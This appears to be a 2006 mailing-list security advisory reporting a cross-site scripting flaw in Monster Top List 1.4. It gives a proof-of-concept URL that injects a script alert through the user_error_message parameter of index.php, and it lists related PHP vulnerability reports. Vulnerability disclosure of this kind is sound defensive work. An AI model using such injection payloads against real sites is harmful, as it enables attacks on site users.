Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[eVuln] Skull-Splitter's PHP Downloadcounter for Wallpapers SQL Injection

[eVuln] Skull-Splitter's PHP Guestbook XSS Vulnerability

XSS in PHPKIT Version 1.6.03

[SA19443] PHP Script Index "search" Cross-Site Scripting Vulnerability

From:	Cyber Lords <fear_(at)_cyberlords.net>
Date:	29.03.2006
Subject:	XSS in Monster Top List 1.4

Advisory: XSS in Monster Top List 1.4
Home Page: http://www.monstertoplist.com/

Уязвимость/Vulnerability:
Межсайтовый скриптинг/Cross Site Scripting

Уязвимый скрипт/Vulnerable script: index.php

Exploit:

http://www.monstertoplist.com/mtl14/index.php?user_error_message=<script>al
ert()</script>

--------------------------
Cyber Lords Team
www.cyberlords.net